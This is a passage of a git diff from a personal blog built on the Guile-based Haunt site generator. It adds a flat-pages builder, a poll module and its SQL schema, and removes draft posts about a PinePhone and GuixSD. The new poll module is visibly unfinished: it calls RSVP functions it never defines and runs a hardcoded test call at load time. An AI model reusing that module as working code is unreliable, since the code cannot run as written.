(out (string-append (or prefix "/") dir + ;; (if (string-null? dir) "" "/") + ;; (strip-extension file-name) ".html")) + ;; (title (or (assq-ref metadata 'title) "Untitled"))) + ;; (serialized-artifact out (template site title body) + ;; sxml->html)))) + ;; (#f (error "no reader available for page" file-name)))) + ;; src-files) + )) diff --git a/jakob/builder/flat-pages.scm b/jakob/builder/flat-pages.scm new file mode 100644 index 0000000..e467219 --- /dev/null +++ b/jakob/builder/flat-pages.scm @@ -0,0 +1,86 @@ +;;; Haunt --- Static site generator for GNU Guile +;;; Copyright © 2015 David Thompson <davet@gnu.org> +;;; Copyright © 2016 Christopher Allan Webber <cwebber@dustycloud.org> +;;; Copyright © 2024 Jakob L. Kreuze <zerodaysfordays@sdf.org> +;;; +;;; This file is part of Haunt. +;;; +;;; Haunt is free software; you can redistribute it and/or modify it +;;; under the terms of the GNU General Public License as published by +;;; the Free Software Foundation; either version 3 of the License, or +;;; (at your option) any later version. +;;; +;;; Haunt is distributed in the hope that it will be useful, but +;;; WITHOUT ANY WARRANTY; without even the implied warranty of +;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +;;; General Public License for more details. +;;; +;;; You should have received a copy of the GNU General Public License +;;; along with Haunt. If not, see <http://www.gnu.org/licenses/>. + +;;; Commentary: +;; +;; Simple static web pages. +;; +;;; Code: + +(define-module (jakob builder flat-pages) + #:use-module (haunt artifact) + #:use-module (haunt html) + #:use-module (haunt post) + #:use-module (haunt reader) + #:use-module (haunt site) + #:use-module (haunt utils) + #:use-module (ice-9 ftw) + #:use-module (ice-9 match) + #:use-module (srfi srfi-11) + #:export (flat-pages)) + +(define* (flat-pages directory #:key + (strict #f) + template + prefix) + "Return a procedure that parses the files in DIRECTORY and returns a +list of HTML pages, one for each file. The files are parsed using the +readers configured for the current site. The structure of DIRECTORY +is preserved in the resulting pages and may be optionally nested +within the directory PREFIX. + +The content of each flat page is inserted into a complete HTML +document by the TEMPLATE procedure. This procedure takes three +arguments: the site object, the page title string, and an SXML tree of +the page body. It returns one value: a new SXML tree representing a +complete HTML page that presumably wraps the page body." + (lambda (site posts) + ;; Recursively scan the directory and generate a page for each + ;; file found. + (define (enter? file-name stat memo) #t) + (define (noop file-name stat memo) memo) + (define keep? (site-file-filter site)) + (define (leaf file-name stat memo) + (if (keep? file-name) (cons file-name memo) memo)) + (define (err file-name stat errno memo) + (error "flat page directory scanning failed" file-name errno)) + (define src-files + (file-system-fold enter? leaf noop noop noop err '() directory)) + (define (strip-extension file-name) + (basename file-name + (string-append "." (file-extension file-name)))) + (define results + (map (lambda (file-name) + (match (reader-find (site-readers site) file-name) + (#f (when strict + (error "no reader available for page" file-name)) + #f) + (reader + (let-values (((metadata body) (reader-read reader file-name))) + (let* ((dir (substring (dirname file-name) + (string-length directory))) + (out (string-append (or prefix "/") dir + (if (string-null? dir) "" "/") + (strip-extension file-name) ".html")) + (title (or (assq-ref metadata 'title) "Untitled"))) + (serialized-artifact out (template site title body) + sxml->html)))))) + src-files)) + (filter artifact? results))) diff --git a/haunt/jakob/builder/htaccess.scm b/jakob/builder/htaccess.scm index 77d50fe..77d50fe 100644 --- a/haunt/jakob/builder/htaccess.scm +++ b/jakob/builder/htaccess.scm diff --git a/haunt/jakob/builder/outbox.scm b/jakob/builder/outbox.scm index 9bd5f75..9bd5f75 100644 --- a/haunt/jakob/builder/outbox.scm +++ b/jakob/builder/outbox.scm diff --git a/haunt/jakob/dynamic/blacklist.scm b/jakob/dynamic/blacklist.scm index 4796cab..4796cab 100644 --- a/haunt/jakob/dynamic/blacklist.scm +++ b/jakob/dynamic/blacklist.scm diff --git a/haunt/jakob/dynamic/capabilities/comment-form.scm b/jakob/dynamic/capabilities/comment-form.scm index f7d0491..f7d0491 100644 --- a/haunt/jakob/dynamic/capabilities/comment-form.scm +++ b/jakob/dynamic/capabilities/comment-form.scm diff --git a/haunt/jakob/dynamic/capabilities/comments.scm b/jakob/dynamic/capabilities/comments.scm index ee2a52d..ee2a52d 100644 --- a/haunt/jakob/dynamic/capabilities/comments.scm +++ b/jakob/dynamic/capabilities/comments.scm diff --git a/haunt/jakob/dynamic/capabilities/common.scm b/jakob/dynamic/capabilities/common.scm index 2bca1a2..2bca1a2 100644 --- a/haunt/jakob/dynamic/capabilities/common.scm +++ b/jakob/dynamic/capabilities/common.scm diff --git a/haunt/jakob/dynamic/capabilities/gallery.scm b/jakob/dynamic/capabilities/gallery.scm index 7087149..7087149 100644 --- a/haunt/jakob/dynamic/capabilities/gallery.scm +++ b/jakob/dynamic/capabilities/gallery.scm diff --git a/jakob/dynamic/capabilities/poll.scm b/jakob/dynamic/capabilities/poll.scm new file mode 100644 index 0000000..560a8e3 --- /dev/null +++ b/jakob/dynamic/capabilities/poll.scm @@ -0,0 +1,329 @@ +;;; Copyright © 2019 - 2024 Jakob L. Kreuze <zerodaysfordays@sdf.org> +;;; +;;; This program is free software; you can redistribute it and/or +;;; modify it under the terms of the GNU General Public License as +;;; published by the Free Software Foundation; either version 3 of the +;;; License, or (at your option) any later version. +;;; +;;; This program is distributed in the hope that it will be useful, +;;; but WITHOUT ANY WARRANTY; without even the implied warranty of +;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +;;; General Public License for more details. +;;; +;;; You should have received a copy of the GNU General Public License +;;; along with this program. If not, see +;;; <http://www.gnu.org/licenses/>. + +(define-module (jakob dynamic capabilities poll) + #:use-module (gcrypt base64) + #:use-module (haunt html) + #:use-module (ice-9 binary-ports) + #:use-module (ice-9 match) + #:use-module (jakob dynamic config) + #:use-module (jakob dynamic errors) + #:use-module (jakob dynamic util) + #:use-module (jakob theme) + #:use-module (json) + #:use-module (rnrs bytevectors) + #:use-module (squee) + #:use-module (srfi srfi-1) + #:use-module (srfi srfi-9) + #:use-module (srfi srfi-11) + #:use-module (sxml simple) + #:use-module (web request) + #:use-module (web response) + #:use-module (web uri)) + +;; How many bytes of entropy to use when generating vanity ID's. +(define %vanity-length (make-parameter 12)) + +;; Global handle to the RSVP database. +(define conn (connect-to-postgres-paramstring (paramstring-for-dbname "jakob_poll"))) + + + +(define-record-type <poll> + (make-poll title description questions) + poll? + (title poll-title set-poll-title!) + (description poll-description set-poll-description!) + (questions poll-questions set-poll-questions!)) + +(define (valid-invite-code invitation) + "Check database to see if `invitation' exists." + (and (= (string-length invitation) (%vanity-length)) + (positive? + (length + (exec-query conn "SELECT * FROM invitations WHERE vanity = $1" + (list invitation)))))) + +(define (invite-code->poll-id invitation) + (caar + (exec-query conn "SELECT poll_id FROM invitations WHERE vanity = $1" + (list invitation)))) + +(define (get-poll id) + (define response + (car + (exec-query conn "SELECT title, description, questions FROM polls WHERE id = $1" + (list id)))) + (make-poll + (first response) + (second response) + (call-with-input-string (third response) read))) + +(define (valid-fields invitation) + (map car (poll-questions (get-poll (invite-code->poll-id invitation))))) + + + +(define-record-type <poll-response-create> + (make-poll-response-create-parameters) + poll-response-create-parameters? + (invitation-code poll-response-create-code set-poll-response-create-code!) + (response poll-response-create-response set-poll-response-create-response!)) + +(define (assoc-intersect keys alist) + "Filter `alist' down to just `keys'." + (filter (lambda (x) (member (car x) keys)) alist)) + +(define (params->poll-response-create params) + "Parse `params', an alist, into a `<poll-response-create>'." + (let* ((id (assoc-value params "id")) + (valid-fields (valid-fields id)) + (res (make-poll-response-create-parameters))) + (set-poll-response-create-code! res id) + (set-poll-response-create-response! res (assoc-intersect valid-fields params)) + (if (or + (any not + (list (poll-response-create-code res) + (poll-response-create-response res))) + (not (= (length valid-fields) + (length (poll-response-create-response res))))) + #f + res))) + +(params->poll-response-create '(("id" "ArVR1jTK2lbo") ("availability-1" "asdf") ("availability-2" "asdf"))) + +(define (invitation->poll-id vanity-code) + "For valid `vanity-code', find the corresponding poll ID." + (car + (exec-query conn "SELECT poll_id FROM invitations WHERE vanity = $1" + (list vanity-code)))) + + + +(define (create-new-event-rsvp params) + "Handler for responding to the poll." + (let ((params (params->rsvp-create params))) + (unless params + (panic "invalid form data")) + (unless (valid-invite-code (rsvp-create-code params)) + (panic "invalid invitation code")) + (let ((receipt-code (generate-vanity-code)) + (event-id (car (invitation->event-id (rsvp-create-code params))))) + (exec-query conn + "INSERT INTO rsvps (vanity, invitation_id, event_id, fullname, email, attending, guests) VALUES ($1, $2, $3, $4, $5, $6, $7)" + (list receipt-code + (rsvp-create-code params) + event-id + (rsvp-create-name params) + (rsvp-create-email params) + (rsvp-create-attending params) + (rsvp-create-guests params))) + (values '((content-type . (text/html))) + (sxml->html-string + (theme #:title "Thanks for RSVPing!" + #:content (render-event-rsvp-receipt receipt-code))))))) + + + +(define-record-type <rsvp-update> + (make-rsvp-update-parameters) + rsvp-update-parameters? + (invitation-code rsvp-update-code set-rsvp-update-code!) + (name rsvp-update-name set-rsvp-update-name!) + (email rsvp-update-email set-rsvp-update-email!) + (attending rsvp-update-attending set-rsvp-update-attending!) + (guests rsvp-update-guests set-rsvp-update-guests!)) + +(define (params->rsvp-update params) + "Parse `params', an alist, into a `<rsvp-update>'." + (let ((res (make-rsvp-update-parameters))) + (set-rsvp-update-code! res (assoc-value params "update")) + (set-rsvp-update-name! res (assoc-value params "name")) + (set-rsvp-update-email! res (assoc-value params "email")) + (set-rsvp-update-attending! res (assoc-value params "rsvp")) + (set-rsvp-update-guests! res (assoc-value params "guest-names")) + (if (any not + (list (rsvp-update-code res) + (rsvp-update-name res) + (rsvp-update-email res) + (rsvp-update-attending res) + (rsvp-update-guests res))) + #f + res))) + +(define (update-event-rsvp params) + "Handler for updating an RSVP to an event." + (let ((params (params->rsvp-update params))) + (unless params + (panic "invalid form data")) + (unless (valid-receipt-code (rsvp-update-code params)) + (panic "invalid recepit code")) + (exec-query conn + "UPDATE rsvps SET fullname = $2, email = $3, attending = $4, guests = $5 WHERE vanity = $1" + (list + (rsvp-update-code params) + (rsvp-update-name params) + (rsvp-update-email params) + (rsvp-update-attending params) + (rsvp-update-guests params))) + (values '((content-type . (text/html))) + (sxml->html-string + (theme #:title "Thanks for RSVPing!" + #:content (render-event-rsvp-receipt (rsvp-update-code params))))))) + + + +(define (post-event-rsvp request body) + "Entry point for RSVP create/update. We dispatch on the parameters." + (let ((form-data (decode-form body))) + (cond ((assoc-ref form-data "id") (create-new-event-rsvp form-data)) + ((assoc-ref form-data "update") (update-event-rsvp form-data)) + (else (panic "invalid invite/update code"))))) + + + +(define (get-event-image event-id) + "Return, as base64, the header image for `event-id'." + (call-with-input-file (format #f (%event-image-path-fmt) event-id) + (lambda (port) + (base64-encode (get-bytevector-all port))))) + +(define (render-event-invitation code) + (match-let* ((rsvp (exec-query conn "SELECT invitation_id, fullname, email, attending, guests FROM rsvps WHERE vanity = $1" (list code))) + (((invitation-code name email attending guests)) + (if (not (null? rsvp)) + rsvp + '((#f #f #f #f #f)))) + (invitation-code (or invitation-code code)) + (invitation (invitation->event-id invitation-code)) + (capabilities (cadr invitation)) + (((i_ title description date location)) + (exec-query conn "SELECT * FROM events WHERE id = $1" (list (car invitation)))) + (rsvps (exec-query conn "SELECT fullname, email, attending, guests FROM rsvps WHERE event_id = $1" (list (car invitation))))) + (values + "You've been invited to an event!" + `(div (@ (id "rsvp")) + (div (@ (id "event-info")) + (h1 ,title) + (img (@ (src ,(format #f "data:image/png;base64, ~a" (get-event-image (car invitation)))) + (style "float: right; margin: 16px;"))) + (p "Where: " ,location) + (p "When: " ,date) + (p ,@(cdr (xml->sxml (format #f "<div>~a</div>" description))))) + (form (@ (id "rsvp-input") + (action "/apps/rsvp") + (method "POST")) + (input (@ (type "text") + (hidden #t) + (name ,(if (not (null? rsvp)) "update" "id")) + (value ,code))) + (fieldset + (legend "Your Info") + + (label (@ (for "name")) "Name:") + (input (@ (type "text") + (id "name") + (name "name") + (required #t) + (size "24") + ,@(if name `((value ,name)) '()))) + + (label (@ (for "email")) "Email:") + (input (@ (type "text") + (id "email") + (name "email") + (required #t) + (size "24") + ,@(if email `((value ,email)) '())))) + + (fieldset + (legend "RSVP Status") + + (input (@ (type "radio") + (id "attending") + (value "attending") + (name "rsvp") + ,@(if (and attending (string= "attending" attending)) + '((checked ,#t)) + '()))) + (label (@ (for "attending")) "Attending") + + (input (@ (type "radio") + (value "tentative") + (id "tentative") + (name "rsvp") + ,@(if (and attending (string= "tentative" attending)) + '((checked ,#t)) + '()))) + (label (@ (for "tentative")) "Tentative") + + (input (@ (type "radio") + (value "not-attending") + (id "not-attending") + (name "rsvp") + ,@(if (and attending (string= "not-attending" attending)) + '((checked ,#t)) + '()))) + (label (@ (for "not-attending")) "Not Attending")) + + (fieldset + (legend "Guests") + + (label (@ (for "guest-names")) "Names:") + (input (@ (type "text") + (id "guest-names") + (name "guest-names") + (size "24") + ,@(if guests `((value ,guests)) '())))) + + (fieldset + (legend "All Set?") + (input (@ (type "submit") + (id "submit-form") + (value "Submit"))))) + + ,@(if (equal? capabilities "1") + `((h2 "Current RSVPs") + (table + ,@(map (match-lambda + ((name email attending guests) + `(tr (td ,name) (td ,email) (td ,guests) (td ,attending)))) + rsvps))) + `()))))) + +(define (get-event-invitation invitation-code) + "Handler for reading information about an event." + (let-values (((title content) (render-event-invitation invitation-code))) + (values '((content-type . (text/html))) + (sxml->html-string (theme #:title title #:content content))))) + +(define (get-event-info request body) + "Entry point to `get-event-receipt'/`get-event-invitation'." + (let* ((query-string (uri-query (request-uri request))) + (params (if query-string + (decode-form query-string) + '())) + (invitation-code (assoc-ref params "i")) + (receipt-code (assoc-ref params "r"))) + (unless (or receipt-code invitation-code) + (panic "missing invitation or receipt code")) + (unless (or (not receipt-code) (valid-receipt-code (car receipt-code))) + (panic "invalid receipt code")) + (unless (or (not invitation-code) (valid-invite-code (car invitation-code))) + (panic "invalid invitation code")) + + (cond (receipt-code (get-event-invitation (car receipt-code))) + (invitation-code (get-event-invitation (car invitation-code)))))) diff --git a/haunt/jakob/dynamic/capabilities/rsvp.scm b/jakob/dynamic/capabilities/rsvp.scm index 25f13b8..25f13b8 100644 --- a/haunt/jakob/dynamic/capabilities/rsvp.scm +++ b/jakob/dynamic/capabilities/rsvp.scm diff --git a/haunt/jakob/dynamic/captcha.scm b/jakob/dynamic/captcha.scm index 4407ae5..4407ae5 100644 --- a/haunt/jakob/dynamic/captcha.scm +++ b/jakob/dynamic/captcha.scm diff --git a/haunt/jakob/dynamic/config.scm b/jakob/dynamic/config.scm index 8fc9dea..8fc9dea 100644 --- a/haunt/jakob/dynamic/config.scm +++ b/jakob/dynamic/config.scm diff --git a/haunt/jakob/dynamic/errors.scm b/jakob/dynamic/errors.scm index 05f9302..05f9302 100644 --- a/haunt/jakob/dynamic/errors.scm +++ b/jakob/dynamic/errors.scm diff --git a/haunt/jakob/dynamic/import-images.sh b/jakob/dynamic/import-images.sh index 23f6130..23f6130 100644 --- a/haunt/jakob/dynamic/import-images.sh +++ b/jakob/dynamic/import-images.sh diff --git a/haunt/jakob/dynamic/logging.scm b/jakob/dynamic/logging.scm index c937c66..c937c66 100644 --- a/haunt/jakob/dynamic/logging.scm +++ b/jakob/dynamic/logging.scm diff --git a/haunt/jakob/dynamic/rate-limiter.scm b/jakob/dynamic/rate-limiter.scm index 24239f6..24239f6 100644 --- a/haunt/jakob/dynamic/rate-limiter.scm +++ b/jakob/dynamic/rate-limiter.scm diff --git a/haunt/jakob/dynamic/schema-comments.sql b/jakob/dynamic/schema-comments.sql index 8519f4b..8519f4b 100644 --- a/haunt/jakob/dynamic/schema-comments.sql +++ b/jakob/dynamic/schema-comments.sql diff --git a/haunt/jakob/dynamic/schema-gallery.sql b/jakob/dynamic/schema-gallery.sql index bad4100..bad4100 100644 --- a/haunt/jakob/dynamic/schema-gallery.sql +++ b/jakob/dynamic/schema-gallery.sql diff --git a/jakob/dynamic/schema-poll.sql b/jakob/dynamic/schema-poll.sql new file mode 100644 index 0000000..b15bdbd --- /dev/null +++ b/jakob/dynamic/schema-poll.sql @@ -0,0 +1,27 @@ +CREATE TABLE IF NOT EXISTS polls ( + id SERIAL, + title varchar(128) NOT NULL, + description varchar(16384) NOT NULL, + datetime timestamp with time zone NOT NULL, + questions varchar(16384) NOT NULL, + PRIMARY KEY (id) +); + +CREATE TABLE IF NOT EXISTS invitations ( + id SERIAL, + vanity char(12) NOT NULL, + comments varchar(1024) NOT NULL, + created_on timestamp with time zone default current_timestamp, + poll_id integer NOT NULL, + PRIMARY KEY (id) +); + +CREATE TABLE IF NOT EXISTS responses ( + id SERIAL, + invitation_code char(12) NOT NULL, + poll_id bigint NOT NULL, + response varchar(16384) NOT NULL, + PRIMARY KEY (id) +); + +-- `questions` and `response` are s-expressions. diff --git a/haunt/jakob/dynamic/schema-rsvp.sql b/jakob/dynamic/schema-rsvp.sql index 3e6a21f..3e6a21f 100644 --- a/haunt/jakob/dynamic/schema-rsvp.sql +++ b/jakob/dynamic/schema-rsvp.sql diff --git a/haunt/jakob/dynamic/util.scm b/jakob/dynamic/util.scm index e34ae91..e34ae91 100644 --- a/haunt/jakob/dynamic/util.scm +++ b/jakob/dynamic/util.scm diff --git a/haunt/jakob/reader/html-prime.scm b/jakob/reader/html-prime.scm index 417249e..417249e 100644 --- a/haunt/jakob/reader/html-prime.scm +++ b/jakob/reader/html-prime.scm diff --git a/haunt/jakob/reader/org-mode-prime.scm b/jakob/reader/org-mode-prime.scm index 118f1a6..118f1a6 100644 --- a/haunt/jakob/reader/org-mode-prime.scm +++ b/jakob/reader/org-mode-prime.scm diff --git a/haunt/jakob/reader/org-mode.scm b/jakob/reader/org-mode.scm index b55dbf3..b55dbf3 100644 --- a/haunt/jakob/reader/org-mode.scm +++ b/jakob/reader/org-mode.scm diff --git a/haunt/jakob/theme.scm b/jakob/theme.scm index b5b817d..b5b817d 100644 --- a/haunt/jakob/theme.scm +++ b/jakob/theme.scm diff --git a/haunt/jakob/utils.scm b/jakob/utils.scm index ad35f4c..ad35f4c 100644 --- a/haunt/jakob/utils.scm +++ b/jakob/utils.scm diff --git a/haunt/jakob/utils/comments.scm b/jakob/utils/comments.scm index 4ec3718..4ec3718 100644 --- a/haunt/jakob/utils/comments.scm +++ b/jakob/utils/comments.scm diff --git a/haunt/jakob/utils/pagination.scm b/jakob/utils/pagination.scm index f75f02f..f75f02f 100644 --- a/haunt/jakob/utils/pagination.scm +++ b/jakob/utils/pagination.scm diff --git a/haunt/jakob/utils/sxml.scm b/jakob/utils/sxml.scm index 0fc34d2..0fc34d2 100644 --- a/haunt/jakob/utils/sxml.scm +++ b/jakob/utils/sxml.scm diff --git a/haunt/jakob/utils/tags.scm b/jakob/utils/tags.scm index 656f712..656f712 100644 --- a/haunt/jakob/utils/tags.scm +++ b/jakob/utils/tags.scm diff --git a/org/.dir-locals.el b/org/.dir-locals.el deleted file mode 100644 index 211fd8b..0000000 --- a/org/.dir-locals.el +++ /dev/null @@ -1,8 +0,0 @@ -((org-mode . ((org-html-doctype . "xhtml5") - (org-html-html5-fancy . t) - (org-html-with-latex . 'verbatim) - (org-export-with-toc . nil) - (org-export-with-section-numbers . nil) - (org-export-with-sub-superscripts . nil) - (ox-haunt-base-dir . "/home/jakob/Blog/haunt/") - (ox-haunt-images-dir . "/static/image/")))) diff --git a/org/I Love My PinePhone/brainstorming.org b/org/I Love My PinePhone/brainstorming.org deleted file mode 100644 index 9030c4d..0000000 --- a/org/I Love My PinePhone/brainstorming.org +++ /dev/null @@ -1,242 +0,0 @@ -* Outline - -** Introduction - -*** What is a Linux Phone? - -*** Why did I want one? - -**** Enter: my old phones - -**** Android Grievances - -- System UI freezes very frequently, makes phone inoperable -- Poor integration with external SD -- Random kernel panics.. as to be expected on a (3.10.108-lineageos-g6f027fb1e3f non-mainline kernel)? -- SD Card problem. Hard to capture as screenshots since it doesn't let me take them when it happens - - Explain how you're using SD's - -**** Could be solved by getting a better-supported phone, but that's expensive! - -**** Software Development Freedom - -**** Run Linux Desktop Apps - -=openxcom= is one of a few examples I care about - -*** Enter: Pinephone - -*** PostmarketOS (with mention of some other distros for the Pinephone) - -I am a Gentoo fan, but I haven't had a great time with - -https://wiki.gentoo.org/wiki/PinePhone - -I like Alpine a lot, though. It strikes me as similar to Gentoo in a lot of the -ways I care about (fairly easy to bootstrap, ...) - -*** Some Other options (Halium, etc.) - -- Shout out SqueakPhone. - - "I think we're in the golden age of open hacking on mobile devices." - -** The Initial Transition - -*** Factorytest - -- =motor= test did not work - - However, it worked in PMOS. -- Some finicky-ness with the modem :( - -*** 3D Printed Case - -*** Screen Protector - -- Got some for the iPhone X - -*** Mobile Data - -https://wiki.pine64.org/wiki/PinePhone_APN_Settings#AT.26T_.28USA.29 - -Curiously, I went to icanhazip.com and I was given an IPv6 address in response. -First time that's happened to me, ever. - -*** Storage - -Start off by installing to EMMC, then mount 256G SD as OverlayFS on /home, /opt - -*** Mostly worked Out-of-the-Box - -*** Litmus: Being Able to Show a Picture of Fred Durst at the Thanksgiving Dinner Table - -*** Roles of Applications - -# Obviously, I'm not going to be using Android applications for the daily tasks that I use my phone for. - -**** Raw List - -+andOTP+ -+AntennaPod+ -AnySoftKeyboard -+App Manager+ -AudioFX -+Aurora Store+ -+BackgroundRestrictor+ -Browser|Not used| -aAVNC -Calculator -Calendar -Calendar Import-Export -+Camera+ -Clock -Contacts -Conversations -DCU -Discord -Email|Not used -F-Droid -FFUpdater -Files -Firefox -FM Radio -+Gallery+ -K-9 Mail -Libera PRO -Messaging -MuPDF mini -Music -NewPipe -Obsqr -Offline Calendar -OpenKeychain -Orbot -Orgzly -OsmAnd~ -Password Store -+Phone+ -Recorder -RetroArch -Settings -Shattered Pixel Dungeons -Signal -Slide -Snapchat -Syncthing -Termux -Tiny Tiny RSS -Tusky -USAA -wallabag -Wikipedia - -**** Table - -| andOTP | gnome-authenticator | https://wiki.mobian-project.org/doku.php?id=authenticator | -| Camera | Megapixels | https://wiki.mobian-project.org/doku.php?id=megapixels | -| Gallery | gnome-photos | https://wiki.mobian-project.org/doku.php?id=gnomephotos | -| Phone | Calls | https://wiki.mobian-project.org/doku.php?id=calls | - -Dropping: - -- AntennaPod: I'll just use an RSS reader. -- App Manager: Android-specific -- Aurora Store: Android-specific -- BackgroundRestrictor: Android-specific - -** Issues Encountered - -*** Modem: Frequent Disconnects, not receiving calls - -Contingency: Custom modem firmware -- Disabled automatic suspends - -Modem has been the single most frustrating part about using the PP. -- I find it funny that the ADSP firmwares are blobs we just found somewhere; Quectel doesn't officially publish them. - -With the news that Quectel could potentially be locking down their hardware and preventing users from flashing their own firmware, all I have to say further about the modem is... - -# [Linus Torvalds FUCK YOU NVIDIA] - -See (Toomanyatoms) for further evidence of Quectel's absolute incompetence. - -The sad thing is, there probably won't be this much work on other modems for a while. This Quectel piece of shit will probably be the best supported modem in e.g. PostmarketOS for the foreseeable future. - -# Unless... - -*** Occasional Non-Wake from Suspend - -- Configured syslogd to write to disk, waiting to debug. [TODO]. - -*** Suspend Prevents Alarm from Going off - -Contingency: Modem firmware can do a "wake-up call" - -*** Battery Life - -- Power draw has been attributed to four separate chips (https://amosbbatto.wordpress.com/2021/12/10/comparing-l5-and-pp/) - -*** Mobile hotspot not working - -- Laptop can connect, but internet is not passed through. - - Apparently a kernel issue: https://forum.pine64.org/showthread.php?tid=10974 - - Easier solution for the time being has been to use [[https://github.com/rofl0r/microsocks][microsocks]], since I can - connect to my phone via hotspot at least. - -*** Lack of software - -- Write your own! - - I had to write my own Signal client... - -*** Cross Compiling Woes - -- Literally could not get gnome-authenticator to work - - Quality control for packages seems to be much less than Gentoo -- Spending literally a day trying to compile Emacs PGTK -- It ain't Gentoo - -** Quality-of-Life - -*** Being able to use Emacs on mobile - -- Any particular use-cases that are well supported? - -# Necessary talking point: I've literally edited this blog post using Emacs from my bed while the gf was asleep on me. - -# "You might expect Emacs on mobile to be a bit of a Gimmick, but it's the application I use the second most, right after Firefox" -# - Attribute this to Syncthing or rsync making it easy to get config over, not the casse in Termux -# - Also icons make it a little bit nicer for touch input - - -*** Being able to use yt-dlp and mpv instead of New Pipe - -*** Running scripts, cron, other automation - -*** Contacting phone over SSH - -*** Considerations: dotfiles on mobile vs desktop - -*** Convergence - -** Software Development; Porting - -#In non-QT land, you have two options: -#- gtk3 and libhandy -#- gtk4 and libadwaita -#There used to be anti-GTK sentiment, but these days it rocks - -** Community - -*** Malware - -** Social Implications - -# I appreciate my partner's willingness to put up with me using a weird phone -# that can't do anything. - -# Can't use Uber.. but I didn't really use Uber anyway with my non-gApps smartphone. - -** Surveying Others' Opinions on the Pinephone - -** My Dream Cellphone - -** Conclusion diff --git a/org/Installing GuixSD: One Month Later/installing-guixsd-one-month-later.org b/org/Installing GuixSD: One Month Later/installing-guixsd-one-month-later.org deleted file mode 100644 index 32b6685..0000000 --- a/org/Installing GuixSD: One Month Later/installing-guixsd-one-month-later.org +++ /dev/null @@ -1,100 +0,0 @@ -#+TITLE: Installing GuixSD: One Month Later -+DATE: -#+TAGS: opinion, linux, gentoo - -# https://zge.us.to/guix.html - -# https://octodon.social/@cwebber/101816791252611754 -# https://mastodon.sdf.org/@jakob/101857455853919355 -# Stability with v1.0.0 -# https://octodon.social/@cwebber/102089556606069384 - -# It's actually been three months since I began running GuixSD as a daily driver, -# but I wanted to reference a [[/blog/installing-gentoo-one-month-later.html][similar post]] I wrote last year. - -Several months ago, I came across one of Pierre Neidhardt's [[https://ambrevar.xyz/guix-advance/index.html][articles]] regarding -the Guix System Distribution. NixOS was little more than a name to me back then, -so this was my first exposure to the concepts of purely functional package -management. I was pretty stoked about the ideas behind it. - -The article introduces GuixSD as the "fully-programmable OS," explaining that -the init system and package manager are both written in [[https://www.gnu.org/software/guile/][GNU Guile]]. As someone -who often longed for a Lisp interface to [[https://en.wikipedia.org/wiki/Portage_(software)][Portage]], this immediately caught my -attention. Among the other favorite features that Neidhardt lists, I was -particularly enticed by the promises of system roll-backs, support for multiple -simultaneously-installed package versions, a "self-reproducing live USB", and a -GNU Emacs package for working with the package manager. - -#+BEGIN_EXPORT html -<div class="mastodon"> - <iframe height="180" src="https://mastodon.sdf.org/@jakob/101415693778707984/embed"></iframe> -</div> -#+END_EXPORT - -My setup was working just fine, though, and I needed a working computer for -university, so I didn't have much of a compelling reason to distro hop. That is, -until I got word that my GSoC [[https://summerofcode.withgoogle.com/projects/#5232565294727168][proposal]] this year was accepted. I'll say this -much: If a virtual machine is a significant part of your development workflow, -you're gonna have a bad time. - -* Installation - -When I'm not at university, I have two machines that I like to use: a desktop -computer, and a laptop. The desktop computer was my first victim as I'd still be -able to get things done if it were in an unusable state (the laptop was another -story). As it turns out, I picked the harder of the two machines to install -GuixSD to first. The installer would show some messages from Shepherd, and then -continue to boot to a blank screen. I was able to get to a console if I passed -in 'nomodeset' from Grub, so the issue was immediately obvious to me: the -default kernel for GuixSD is [[https://en.wikipedia.org/wiki/Linux-libre][Linux-libre]], an offshoot of Linux that removes any -and all non-free components. Put another way, any firmware blobs that the -tower's graphics card might have need weren't being loaded - -As comforting as the VESA framebuffer console is, I wanted to run an X server. -I'd have to load non-free firmware. Sigh. Please don't blob-shame me. - -This actually isn't too hard to do, and is [[https://ambrevar.xyz/guix-advance/index.html#org1a64edd][covered]] in Pierre's article. What I -did, essentially, was create a Guix configuration with a custom kernel and use -'guix system disk-image' to produce something that I could use on my tower, and -install GuixSD from there. I began with the kernel config I was using for -Gentoo, but that would panic, claiming that Linux couldn't find the root -filesystem. So I copied over GuixSD's config. That seemed to work. This all took -a pretty long time because I was compiling the kernel in a /virtual machine/, and -every time I changed something, Guix would calculate a new derivation for the -kernel, and it would be rebuilt without any of the object files from the -previous compilation. - -When I had a good development environment on the tower, I felt it was time to -install to the laptop. This was far easier as I didn't have to worry about -firmware for the machine to be _usable_. The internal WNIC didn't work, but that -was alright since I had a USB WNIC that didn't require non-free firmware. - --- - -Being able to configure my machines from a single Scheme source file has -provided me great peace of mind; trying to document the changes I make to the -various configuration files in ~/etc/~ is hopeless. - -There are a number of features that Gentoo brought that I'll miss, but I also -think my missing them is a matter of preference. - -I never really understood slots in Gentoo. I think they allow multiple versions -of a package to be installed at the same time. Regardless, I have no plans to -learn about them now. The use of symbolic links in Guix is a solution to the -multiple-versions problem that's much easier to wrap my head around. - -I always hated the way that Gentoo dealt with configuration files of upgraded -packages. - -"For example, alice installs GCC 4.7.2. As a result, -/home/alice/.guix-profile/bin/gcc points to /gnu/store/…-gcc-4.7.2/bin/gcc. Now, -on the same machine, bob had already installed GCC 4.8.0. The profile of bob -simply continues to point to /gnu/store/…-gcc-4.8.0/bin/gcc—i.e., both versions -of GCC coexist on the same system without any interference." - -- Package "categories" (i.e. app-admin, net-im). This is something that the - BSD's do, and Debian-likes do not. - -The straw that broke the camel's back was this [[https://forum.zdoom.org/viewtopic.php?f=50&t=65552][unusual stuttering]] in anything -running OpenGL. I concluded that this was an issue with SDL or Mesa and -proceeded to nuke everything and reinstall Gentoo. diff --git a/org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg b/org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg deleted file mode 100644 index b5261bf..0000000 --- a/org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg +++ /dev/null @@ -1,694 +0,0 @@ -<?xml version="1.0" encoding="UTF-8"?> -<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="368.902pt" height="242.225pt" viewBox="0 0 368.902 242.225" version="1.1"> -<defs> -<g> -<symbol overflow="visible" id="glyph0-0"> -<path style="stroke:none;" d=""/> -</symbol> -<symbol overflow="visible" id="glyph0-1"> -<path style="stroke:none;" d="M 4.578125 -3.1875 C 4.578125 -3.984375 4.53125 -4.78125 4.1875 -5.515625 C 3.734375 -6.484375 2.90625 